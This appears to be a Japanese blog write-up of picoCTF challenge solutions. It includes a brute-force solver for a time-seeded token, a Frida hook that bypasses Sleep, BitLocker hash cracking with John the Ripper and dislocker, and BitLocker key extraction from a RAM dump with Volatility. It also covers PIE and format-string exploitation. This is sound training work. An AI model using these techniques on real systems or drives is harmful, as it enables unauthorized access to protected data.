def unscramble(cypher):
    flag_hex = []
    for item in cypher:
        flag_hex.append(item[0])
        flag_hex.append(item[-1])
    return flag_hex


cypher_str = "" #取得した暗号文 

# 文字列をPythonオブジェクトに変換
cypher = ast.literal_eval(cypher_str)

hex_flag = unscramble(cypher)
print(hex_flag)

flag = ''
for hex in hex_flag:
    try:
        flag += chr(int(hex,16))
    except:
        break

print(flag)

結果
['0x70', '0x69', '0x63', '0x6f', '0x43', '0x54', '0x46', '0x7b', '0x70', '0x79', '0x74', '0x68', '0x6f', '0x6e', '0x5f', '0x69', '0x73', '0x5f', '0x77', '0x65', '0x69', '0x72', '0x64', '0x66', '0x38', '0x32', '0x35', '0x39', '0x38', '0x64', '0x36', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b'], ['0x70', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54']], '0x79'], ['0x74', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b']], '0x68'], ['0x6f', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b'], ['0x70', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']], '0x54']], '0x79']], '0x6e'], ['0x5f', [['0x70', '0x69'], ['0x63', [], '0x6f'],
...
picoCTF{python_is_weirdf82598d6

Chronohack 200pts

問題文

Can you guess the exact token and unlock the hidden flag?Our school relies on tokens to authenticate students. Unfortunately, someone leaked an important file for token generation. Guess the token to get the flag.The access is granted through nc verbal-sleep.picoctf.net 60220.

翻訳:あなたは正確なトークンを推測し、隠されたフラグを解除することができますか?
私たちの学校では、学生を認証するためにトークンに頼っています。残念ながら、誰かがトークン生成のための重要なファイルを流出させてしまいました。トークンを推測してフラグをゲットしてください。
アクセスはnc verbal-sleep.picoctf.net 60220を通して許可されています。

token_generator.py

Python
import random
import time

def get_random(length):
    alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
    random.seed(int(time.time() * 1000))  # seeding with current time 
    s = ""
    for i in range(length):
        s += random.choice(alphabet)
    return s

def flag():
    with open('/flag.txt', 'r') as picoCTF:
        content = picoCTF.read()
        print(content)


def main():
    print("Welcome to the token generation challenge!")
    print("Can you guess the token?")
    token_length = 20  # the token length
    token = get_random(token_length) 

    try:
        n=0
        while n < 50:
            user_guess = input("\nEnter your guess for the token (or exit):").strip()
            n+=1
            if user_guess == "exit":
                print("Exiting the program...")
                break
            
            if user_guess == token:
                print("Congratulations! You found the correct token.")
                flag()
                break
            else:
                print("Sorry, your token does not match. Try again!")
            if n == 50:
                print("\nYou exhausted your attempts, Bye!")
    except KeyboardInterrupt:
        print("\nKeyboard interrupt detected. Exiting the program...")

if __name__ == "__main__":
    main()

トークンを発行していて、そのトークンが一致したらフラグをゲットできる。

トークンはランダムに発行されているように見えるが、シードが時間なので突破できる。

あとは時間をあわせるだけだと思い次のようなソルバーを書きました。

Python
from pwn import *
import sys
import time

def get_random(length,seed):
    alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
    random.seed(seed)
    s = ""
    for i in range(length):
        s += random.choice(alphabet)
    return s

def main():
    
    count = -50
    while True:
        io = remote('verbal-sleep.picoctf.net', 64041)
        now = time.time()
        now *= 1000
        for i in range(50):
            token = get_random(20,now + count)
            count += 1
            io.sendline(token)
            res = io.recvrepeat(0.3).decode()
            print(res)
            if "Co" in res:
                print(res)
                sys.exit()
        
if __name__ == "__main__":
    main()

ですが何回やってもうまくいきません。

ここでほかの問題に言っていたのですが戻ってきたときにはチームメイトが解いてくれてました。

何がいけなかったかというと、配布されたソースでは次のようにトークンを生成していました。

Python
def get_random(length):
    alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
    random.seed(int(time.time() * 1000))  # seeding with current time 
    s = ""
    for i in range(length):
        s += random.choice(alphabet)
    return s

実際には、intで整数にキャストしているのに、私のはしていませんでした。

シード値が小数点以下が違った場合でも異なることは確認していたので、サーバー間の差異が一秒でもあれば試行回数が莫大に増えるのでめんどくさいなと思っていたら、この有様です。

あと、picoのwebshellで実行したほうがラグが少なくなるということも抜けていました。

ソルバー↓

Python
from pwn import *
import sys

def get_random(length,seed):
    alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
    random.seed(seed)
    s = ""
    for i in range(length):
        s += random.choice(alphabet)
    return s

def main():
    
    count = -50
    while True:
        io = remote('verbal-sleep.picoctf.net', 54486)
        now = int(time.time() * 1000)
        for i in range(50):
            token = get_random(20,now + count)
            count += 1
            io.sendline(token)
            res = io.recvrepeat(0.3).decode()
            print(res)
            if "Co" in res:
                print(res)
                sys.exit()
        
if __name__ == "__main__":
    main()

Tap into Hash 200pts

問題文

Can you make sense of this source code file and write a function that will decode the given encrypted file content?Find the encrypted file here. It might be good to analyze source file to get the flag.

翻訳:このソース・コード・ファイルを理解し、与えられた暗号化されたファイルの内容を解読する関数を書くことができますか?
ここで暗号化されたファイルを見つけてください。フラグを取得するためにソース・ファイルを解析するのは良いことかもしれない。

block_chain.py
Python
import time
import base64
import hashlib
import sys
import secrets


class Block:
    def __init__(self, index, previous_hash, timestamp, encoded_transactions, nonce):
        self.index = index
        self.previous_hash = previous_hash
        self.timestamp = timestamp
        self.encoded_transactions = encoded_transactions
        self.nonce = nonce

    def calculate_hash(self):
        block_string = f"{self.index}{self.previous_hash}{self.timestamp}{self.encoded_transactions}{self.nonce}"
        return hashlib.sha256(block_string.encode()).hexdigest()


def proof_of_work(previous_block, encoded_transactions):
    index = previous_block.index + 1
    timestamp = int(time.time())
    nonce = 0

    block = Block(index, previous_block.calculate_hash(),
                  timestamp, encoded_transactions, nonce)

    while not is_valid_proof(block):
        nonce += 1
        block.nonce = nonce

    return block


def is_valid_proof(block):
    guess_hash = block.calculate_hash()
    return guess_hash[:2] == "00"


def decode_transactions(encoded_transactions):
    return base64.b64decode(encoded_transactions).decode('utf-8')


def get_all_blocks(blockchain):
    return blockchain


def blockchain_to_string(blockchain):
    block_strings = [f"{block.calculate_hash()}" for block in blockchain]
    return '-'.join(block_strings)


def encrypt(plaintext, inner_txt, key):
    midpoint = len(plaintext) // 2

    first_part = plaintext[:midpoint]
    second_part = plaintext[midpoint:]
    modified_plaintext = first_part + inner_txt + second_part
    block_size = 16
    plaintext = pad(modified_plaintext, block_size)
    key_hash = hashlib.sha256(key).digest()

    ciphertext = b''

    for i in range(0, len(plaintext), block_size):
        block = plaintext[i:i + block_size]
        cipher_block = xor_bytes(block, key_hash)
        ciphertext += cipher_block

    return ciphertext


def pad(data, block_size):
    padding_length = block_size - len(data) % block_size
    padding = bytes([padding_length] * padding_length)
    return data.encode() + padding


def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))


def generate_random_string(length):
    return secrets.token_hex(length // 2)


random_string = generate_random_string(64)


def main(token):
    key = bytes.fromhex(random_string)

    print("Key:", key)

    genesis_block = Block(0, "0", int(time.time()), "EncodedGenesisBlock", 0)
    blockchain = [genesis_block]

    for i in range(1, 5):
        encoded_transactions = base64.b64encode(
            f"Transaction_{i}".encode()).decode('utf-8')
        new_block = proof_of_work(blockchain[-1], encoded_transactions)
        blockchain.append(new_block)

    all_blocks = get_all_blocks(blockchain)

    blockchain_string = blockchain_to_string(all_blocks)
    print(blockchain_string)
    encrypted_blockchain = encrypt(blockchain_string, token, key)

    print("Encrypted Blockchain:", encrypted_blockchain)


if __name__ == "__main__":
    text = sys.argv[1]
    main(text)

enc_flag
Key: b'\x8e\xdc\x08\xb8S\xee6\x0c\xf5\xfd\xceP\x15\xbf\xf6\xe2\x90\xf3\xd7F?,!\x1c\xb0D\x0cO\xcc\x04q\xb8'
Encrypted Blockchain: b"\xb4\xc8\xbd\xec@A\xbd-\x1d\xfd\x16\xe1\xe3sW\x18\xb1\x99\xea\xb8\x15\x10\xe8{\x19\xacE\xb3\xb4w\nH\xe7\x9d\xea\xe9EC\xb9(N\xa8\x14\xe1\xb7t]\x1c\xb7\xc8\xb9\xbaAF\xea}L\xadF\xb4\xb1&\n\x19\xac\xcc\xbc\xedGI\xef~\x16\xab\x10\xb6\xb7'\x0cN\xe0\xca\xee\xba\x15D\xbcz\x17\xfa\x17\xe3\xe0sY\x14\xe5\xca\xb5\xecAB\xea{\x1e\xffD\xe4\xb0%\x0cO\xb0\xc9\xee\xefC\x12\xeb|N\xff\x16\xe8\xb4'[\x15\xe0\xd1\xbc\xec\x10F\xe8q\x17\xa8\x10\xe1\xedu\\N\xb6\xc5\xef\xba\x10@\xe8y\x1a\xadC\xe3\xb0p\nO\xb0\xce\xfc\xb5\x15\x1e\xcd\x1di\xb5B\xbc\xba \x05s\xb2\xaf\xde\xb4 \x18\xdc+{\xffQ\xb3\x8d\x1c6y\xeb\xb1\xbc\xaeBH\xed\x01p\xbfc\xaa\xb8\t4V\xc3\xb7\xd3\xe8G\x12\xbfy\x1c\xfd\x11\xad\xe4r\\\x1f\xb5\xc8\xbf\xeeCC\xefy\x18\xadC\xb1\xe3uXM\xe7\xc4\xe9\xeb\x17\x12\xeb{\x1b\xf7\x15\xb6\xf8s^\x1c\xe7\xca\xba\xe5\x10A\xb8-\x18\xffA\xe4\xe7u]J\xb1\xcf\xb9\xef\x12C\xbd+L\xfd\x19\xe6\xed'XN\xe0\xcf\xe9\xef\x17@\xbczI\xa8\x18\xb1\xe1vV\x1d\xe5\xcb\xbf\xec\x12\x15\xec|L\xabD\xb4\xb0n^\x1c\xb8\x98\xea\xea\x10A\xec/\x1c\xfa\x17\xb6\xecp\x08J\xb9\xc4\xed\xeb\x10\x17\xb6+\x1c\xf6\x11\xe5\xe0s\x0bI\xe3\xca\xb9\xbaGH\xb6}\x18\xf7A\xe0\xe5{X\x1f\xb4\x99\xe9\xbe@H\xbf*I\xfd\x14\xb6\xe7 l."

block_chain.pyを見ていきます。tokenにフラグが入ってるっぽいです。

encrypt関数で暗号化しています。

見ると、ブロックチェーンにフラグを入れたmodified_plaintextを16バイトずつkey_hashでxorしているようです。

key_hashはkeyのsha256ですが、xor_bytes関数内でzipされているので、本来32バイトですが、短いほうに合わせて先頭16バイトが使用されることに注意が必要です。

Keyもencryptされたものも与えられるので、あとはもう一度xorしてあげるだけでおわりです。

Python
import hashlib

def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

key = b'\x8e\xdc\x08\xb8S\xee6\x0c\xf5\xfd\xceP\x15\xbf\xf6\xe2\x90\xf3\xd7F?,!\x1c\xb0D\x0cO\xcc\x04q\xb8'
encrypted = b"\xb4\xc8\xbd\xec@A\xbd-\x1d\xfd\x16\xe1\xe3sW\x18\xb1\x99\xea\xb8\x15\x10\xe8{\x19\xacE\xb3\xb4w\nH\xe7\x9d\xea\xe9EC\xb9(N\xa8\x14\xe1\xb7t]\x1c\xb7\xc8\xb9\xbaAF\xea}L\xadF\xb4\xb1&\n\x19\xac\xcc\xbc\xedGI\xef~\x16\xab\x10\xb6\xb7'\x0cN\xe0\xca\xee\xba\x15D\xbcz\x17\xfa\x17\xe3\xe0sY\x14\xe5\xca\xb5\xecAB\xea{\x1e\xffD\xe4\xb0%\x0cO\xb0\xc9\xee\xefC\x12\xeb|N\xff\x16\xe8\xb4'[\x15\xe0\xd1\xbc\xec\x10F\xe8q\x17\xa8\x10\xe1\xedu\\N\xb6\xc5\xef\xba\x10@\xe8y\x1a\xadC\xe3\xb0p\nO\xb0\xce\xfc\xb5\x15\x1e\xcd\x1di\xb5B\xbc\xba \x05s\xb2\xaf\xde\xb4 \x18\xdc+{\xffQ\xb3\x8d\x1c6y\xeb\xb1\xbc\xaeBH\xed\x01p\xbfc\xaa\xb8\t4V\xc3\xb7\xd3\xe8G\x12\xbfy\x1c\xfd\x11\xad\xe4r\\\x1f\xb5\xc8\xbf\xeeCC\xefy\x18\xadC\xb1\xe3uXM\xe7\xc4\xe9\xeb\x17\x12\xeb{\x1b\xf7\x15\xb6\xf8s^\x1c\xe7\xca\xba\xe5\x10A\xb8-\x18\xffA\xe4\xe7u]J\xb1\xcf\xb9\xef\x12C\xbd+L\xfd\x19\xe6\xed'XN\xe0\xcf\xe9\xef\x17@\xbczI\xa8\x18\xb1\xe1vV\x1d\xe5\xcb\xbf\xec\x12\x15\xec|L\xabD\xb4\xb0n^\x1c\xb8\x98\xea\xea\x10A\xec/\x1c\xfa\x17\xb6\xecp\x08J\xb9\xc4\xed\xeb\x10\x17\xb6+\x1c\xf6\x11\xe5\xe0s\x0bI\xe3\xca\xb9\xbaGH\xb6}\x18\xf7A\xe0\xe5{X\x1f\xb4\x99\xe9\xbe@H\xbf*I\xfd\x14\xb6\xe7 l."

# SHA256(key) の先頭16バイトを復号用鍵として利用
key_hash = hashlib.sha256(key).digest()
key_block = key_hash[:16]

decrypt = b""
for i in range(0, len(encrypted), 16):
    chunk = encrypted[i:i+16]
    decrypt += xor_bytes(chunk, key_block)

print(decrypt)
└─$ python solve.py 
b'5410603d236160940efdcaf26beca4ddfaf5327aaf41b730645f77d4ccfdded5-00118a79e0fbdbba6bfc52384735078d69073d211d4efbc15b35ce5a168ad59a-00f7f88f01862b79cff1f05cc3e3dc12picoCTF{block_3SRhViRbT1qcX_XUjM0r49cH_qCzmJZzBK_41c10331}1123443252a07cca666af8e7ace2495f-000f669f06d71a4263f0353d23bc3968d6ba3e3a123ff8a4581d730ddb5cedde-009df6f0bf347f93ff88a7ff8b381550eeb65f198479a008635eeb691cf34f2c\x02\x02'

Binary Instrumentation 1 200pts

問題文とヒント

I have been learning to use the Windows API to do cool stuff! Can you wake up my program to get the flag?Download the exe here. Unzip the archive with the password picoctf
Hints:Frida is an easy-to-install, lightweight binary instrumentation toolkit
Try using the CLI tools like frida-trace to auto-generate handlers

翻訳:私はクールなことをするためにWindows APIを使うことを学んできました!フラグを取得するために私のプログラムを起こしてくれる?
ここからexeをダウンロードしてください。アーカイブをパスワードpicoctfで解凍する。
ヒント:Fridaは、インストールが簡単で軽量なバイナリ計測ツールキットです。
frida-traceのようなCLIツールを使って、ハンドラを自動生成してみてください。

zipファイルを解凍してとりあえず実行しようとするとwindows defenderに消されたのでリアルタイム保護を消さないといけませんでした。

ヒントにfridaを使うと書いてあるのでpip install frida-toolsでインストールします。

exeを実行すると次のように眠っています。

frida-traceでは関数呼び出しを感知してハンドラを作成できます。

問題文とzzzzzzとか言ってるので、Sleep等の関数が使われていることが予想されます。

なのでfrida-trace -i "Sleep" -f bininst1.exeを実行します。

確かにSleep関数が存在するようです。

あとはSleep関数をスキップするだけです。これはいろんな解法があると思いますが、リファレンスなどを見ながら私は次のように実装しました

JavaScript
Interceptor.replace(Module.getExportByName("kernel32.dll", "Sleep"), new NativeCallback(function(dwMilliseconds) {
    console.log("Bypassing Sleep(" + dwMilliseconds + ")");
    // 待機処理をスキップ
}, 'void', ['uint32']));

flag: cGljb0NURnt3NGtlX20zX3VwX3cxdGhfZnIxZGFfZjI3YWNjMzh9Bypassing(picoCTF{w4ke_m3_up_w1th_fr1da_f27acc38})

perplexed 400pts

問題文

Download the binary here.

Ghidraでバイナリを逆コンパイルするとパスワードがフラグになってるぽい

check関数をのぞいてみましょう

C
undefined8 check(char *param_1)

{
  size_t sVar1;
  undefined8 uVar2;
  size_t sVar3;
  undefined8 local_58;
  undefined7 local_50;
  undefined uStack_49;
  undefined7 uStack_48;
  uint local_34;
  uint local_30;
  undefined4 local_2c;
  int local_28;
  uint local_24;
  int local_20;
  int local_1c;
  
  sVar1 = strlen(param_1);
  if (sVar1 == 0x1b) {
    local_58 = 0x617b2375f81ea7e1;
    local_50 = 0x69df5b5afc9db9;
    uStack_49 = 0xd2;
    uStack_48 = 0xf467edf4ed1bfe;
    local_1c = 0;
    local_20 = 0;
    local_2c = 0;
    for (local_24 = 0; local_24 < 0x17; local_24 = local_24 + 1) {
      for (local_28 = 0; local_28 < 8; local_28 = local_28 + 1) {
        if (local_20 == 0) {
          local_20 = 1;
        }
        local_30 = 1 << (7U - (char)local_28 & 0x1f);
        local_34 = 1 << (7U - (char)local_20 & 0x1f);
        if (0 < (int)((int)param_1[local_1c] & local_34) !=
            0 < (int)((int)*(char *)((long)&local_58 + (long)(int)local_24) & local_30)) {
          return 1;
        }
        local_20 = local_20 + 1;
        if (local_20 == 8) {
          local_20 = 0;
          local_1c = local_1c + 1;
        }
        sVar3 = (size_t)local_1c;
        sVar1 = strlen(param_1);
        if (sVar3 == sVar1) {
          return 0;
        }
      }
    }
    uVar2 = 0;
  }
  else {
    uVar2 = 1;
  }
  return uVar2;
}

めんどくさいのでChatGPTに丸投げしたら解いてくれた。

Forensics

RED 100pts

問題文

Download the image: red.png

画像はただの真っ赤なものだった。

うさみみハリケーンでといた。

いろいろ試してとりあえずLSBみてみたらフラグがあった。

Ph4nt0m 1ntrud3r 50pts

問題文

A digital ghost has breached my defenses, and my sensitive data has been stolen! 😱💻 Your mission is to uncover how this phantom intruder infiltrated my system and retrieve the hidden flag.To solve this challenge, you’ll need to analyze the provided PCAP file and track down the attack method. The attacker has cleverly concealed his moves in well timely manner. Dive into the network traffic, apply the right filters and show off your forensic prowess and unmask the digital intruder!Find the PCAP file here Network Traffic PCAP file and try to get the flag.

翻訳:デジタルゴーストに侵入され、機密データが盗まれた!😱💴 あなたのミッションは、この幻の侵入者がどのように私のシステムに侵入したかを暴き、隠されたフラグを回収することです。
この課題を解決するには、提供されたPCAPファイルを分析し、攻撃方法を突き止める必要があります。攻撃者は巧みなタイミングで動きを隠しています。ネットワーク・トラフィックに飛び込み、適切なフィルターを適用し、あなたのフォレンジックの腕前を披露して、デジタル侵入者の正体を暴きましょう!
ここでネットワークトラフィックPCAPファイルを検索し、フラグを取得してみてください。

pcapファイルをwhiresharkで見てみると意外と少なかった。

payload部にbase64ポイのがたくさんうまっている

しかし、たまに偽のbase64が混ざっている、最後が==のやつはちゃんとデコードしたら文字列になることが分かった。

それらはlengthが52になっていることも分かった。

なので、lengthをクリックして長さ順にして取得したbase64をそれぞれデコードしてみた。

picoのフラグフォーマットは最後がハッシュみたいなんになるのと、鍵かっことかからアナグラムしても一瞬だけど、ヒントに時間とあるからそれからやってもいいと思う。

flags are stepic 100pts

問題文

A group of underground hackers might be using this legit site to communicate. Use your forensic techniques to uncover their message

翻訳:地下のハッカー集団がこの合法的なサイトを使って通信しているかもしれない。フォレンジック技術を駆使して、彼らのメッセージを暴け

サイトには国旗がたくさんあった。

ここに変な国旗があるらしいそれは、、、

こいつだ!

調べるとpicoCTF開催大学のやつらしい

この画像をダウンロードして解析する。

https://www.aperisolve.comやうさみみも容量が多すぎて重いし、なにもなさそう。

となると気になるのは問題文のstepic調べてみるとpythonのモジュールにこの名前のものがあることが分かった

ということでソルバー

C
from PIL import Image
import stepic

im = Image.open("image.png")
data = stepic.decode(im)
print(data)

Bitlocker-1 200pts

問題文

Jacky is not very knowledgable about the best security passwords and used a simple password to encrypt their BitLocker drive. See if you can break through the encryption!Download the disk image here
Hints:Hash cracking

翻訳:ジャッキーさんは、セキュリティに最適なパスワードについてあまり詳しくないので、簡単なパスワードを使ってBitLockerドライブを暗号化しました。暗号化を突破できるか試してみよう!
ディスクイメージのダウンロードはこちら
ヒント:ハッシュクラッキング

この問題のおかげで、Bitlockerの知識が深まった。picoのforensicsはこういうとこがいい

ヒントにハッシュクラッキングとあったのでJohn the Ripperとかかなと思って調べると、bitlocker2john.pyというものがあった。

┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico]
└─$ python bitlocker2john.py bitlocker-1.dd > hash.txt
...
The following hashes were found:
$bitlocker$2$16$2b71884a0ef66f0b9de049a82a39d15b$1048576$12$00be8a46ead6da0106000000$60$a28f1a60db3e3fe4049a821c3aea5e4ba1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58
$bitlocker$3$16$2b71884a0ef66f0b9de049a82a39d15b$1048576$12$00be8a46ead6da0106000000$60$a28f1a60db3e3fe4049a821c3aea5e4ba1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58
$bitlocker$0$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d
$bitlocker$1$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d

抽出したハッシュをbithash.txtに保存した

そして、john the ripperを実行

┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico]
└─$ john bithash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 28 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jacqueline (?)
jacqueline (?)
2g 0:00:00:20 0.02% (ETA: 2025-03-21 10:49) 0.09537g/s 128.1p/s 256.3c/s 256.3C/s my3kids..sexy1
Session aborted

パスワードがわかったのでdislockerでボリュームをマウントする

┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico]
└─$ sudo dislocker -r -V bitlocker-1.dd -ujacqueline -- /media/bitlocker1

-uの後にスペースを付けたらいけないのが結構罠だった

┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico]
└─$ sudo mount -o loop /media/bitlocker1/dislocker-file /media/dislocker

┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico]
└─$ cd /media/dislocker

┌──(yuma4869㉿yuma4869)-[/media/dislocker]
└─$ ls
'$RECYCLE.BIN' flag.txt 'System Volume Information'

┌──(yuma4869㉿yuma4869)-[/media/dislocker]
└─$ cat flag.txt
picoCTF{us3_b3tt3r_p4ssw0rd5_pl5!_3242adb1}

Bitlocker-2 300pts

問題文

Jacky has learnt about the importance of strong passwords and made sure to encrypt the BitLocker drive with a very long and complex password. We managed to capture the RAM while this drive was opened however. See if you can break through the encryption!Download the disk image here and the RAM dump here
Hints:Try using a volatility plugin

翻訳:ジャッキーは強力なパスワードの重要性を学び、非常に長く複雑なパスワードでBitLockerドライブを暗号化するようにした。しかし、私たちはこのドライブを開いている間にRAMをキャプチャすることに成功しました。暗号化を突破できるか試してみよう!
ディスク・イメージのダウンロードはこちら、RAMダンプのダウンロードはこちら
ヒント:volatility pluginを使ってみよう

問題文にvolatility pluginを使ってみようと書いてあるのでvolatility bitlockerとかで検索するといろいろ出てくる。

まずはvolatilityをダウンロードします。

python2版のほうがよさそうだったのでそれをダウンロードしました。バリエラーがでるので頑張って解決しながらいきました。

そして、まずはbitlockerプラグインを使うのに必要なプロファイル情報を取得します。

┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico/bitlocker2]
└─$ python2 /usr/local/bin/vol.py -f memdump.mem imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win10x64_19041
AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/home/yuma4869/Downloads/ctf/pico/bitlocker2/memdump.mem)
PAE type : No PAE
DTB : 0x1ad000L
KDBG : 0xf8006340eb20L
Number of Processors : 2
Image Type (Service Pack) : 0
KPCR for CPU 0 : 0xfffff800617eb000L
KPCR for CPU 1 : 0xffffb98179e67000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2025-03-10 02:58:56 UTC+0000
Image local date and time : 2025-03-09 22:58:56 -0400

Win10x64_19041でした。

これを利用してプラグインを使用していきます。

プラグインは次のものを使うことにしました。https://github.com/breppo/Volatility-BitLocker
bitlocker.pyをプラグインフォルダにダウンロードしました。

┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico/bitlocker2]
└─$ python2 /usr/local/bin/vol.py --plugins=volatility/volatility/plugins/ -f memdump.mem --profile=Win10x64_19041 bitlocker
Volatility Foundation Volatility Framework 2.6.1

[FVEK] Address : 0x8087865bead0
[FVEK] Cipher : AES-XTS 128 bit (Win 10+)
[FVEK] FVEK: 4f79d4a00d5e9b25965b89581a6a599c

[FVEK] Address : 0x40d857c90
[FVEK] Cipher : AES 128-bit (Win 8+)
[FVEK] FVEK: d40582190eb6f067691120bbbe55e511

[FVEK] Address : 0x40de7ece0
[FVEK] Cipher : AES 128-bit (Win 8+)
[FVEK] FVEK: 039e111586d5f9d974a571190474d097

[FVEK] Address : 0x40dfeab80
[FVEK] Cipher : AES 256-bit (Win 8+)
[FVEK] FVEK: 65b8064ec7acea96726aa18d294213176fd513a62a95c80720648f0590211364

FVEKを取得できたので、あとはdislockerでマウントするだけと思ったのですが…

┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico/bitlocker2]
└─$ dislocker -r -V bitlocker-2.dd -k fvek.key -- /media/bitlocker2/
Wed Mar 19 22:55:38 2025 [CRITICAL] None of the provided decryption mean is decrypting the keys. Abort.
Wed Mar 19 22:55:38 2025 [CRITICAL] Unable to grab VMK or FVEK. Abort.

ダメでした。すべてのキーを試したのですがダメでした。

後でdiscordとかも見たのですが、同じようにできていない海外ニキがいっぱいいました。

ここであきらめていったん放置してたのですが、もっかい始めた時に適当にstringsしてみると…

┌──(yuma4869㉿yuma4869)-[~/Downloads/ctf/pico/bitlocker2]
└─$ strings memdump.mem | grep picoCTF
picoCTF{B1tl0ck3r_dr1v3_d3crypt3d_9029ae5b}
picoCTF{B1tl0ck3r_dr1v3_d3crypt3d_9029ae5b}

OMG

Binary Exploitation

PIE TIME 75pts

問題文

Can you try to get the flag? Beware we have PIE!Connect to the program with netcat:
The program’s source code can be downloaded here. The binary can be downloaded here.

翻訳:フラグを取得しようとすることはできますか?我々はPIEを持っているので注意してください!netcatでプログラムに接続してください:
プログラムのソースコードはここからダウンロードできる。バイナリはここからダウンロードできます。

vuln.c
C
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

main関数のアドレスが与えられます。

それと関数ポインタ型にキャストされるvalへの入力があります。

つまり、valにwin関数のアドレスを入れればwinが実行されます。

PIEがあるといってもmainのアドレスが与えられていたらmainとwinは相対なので簡単に計算できます。

計算するためにまずはobjdumpでどのくらい離れているかを導出する。

最初にプログラムが表示してくれるのはmainのアドレスなのでそこから(0x133d – 0x12a7 = 0x96)分引けばいい

PIE TIME 2 200pts

問題文

Can you try to get the flag? I’m not revealing anything anymore!!Connect to the program with netcat:
The program’s source code can be downloaded here. The binary can be downloaded here.

翻訳:フラグを取ってみてくれる?もう何も明らかにしない!netcatでプログラムに接続する:
プログラムのソースコードはここからダウンロードできる。バイナリはこちらからダウンロードできます。

vuln.c
C
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}

だいたいさっきとおんなじだが、今度はmainのアドレスが表示されなくなっている。

これではwinのアドレスが計算できない。

しかし、このプログラムには別の脆弱性が存在する。それはFormat String Bugsである。

print(buffer)の部分が該当していて、例えば%pなどを入力すると、後ろのスタックのアドレスを表示してくれる。

あとはこの脆弱性を利用してmainのアドレスをリークすればよい。

この脆弱性があるのはcall_functions関数内なので必ずスタック内にはmain関数へのリターンアドレスがあるはずだ。

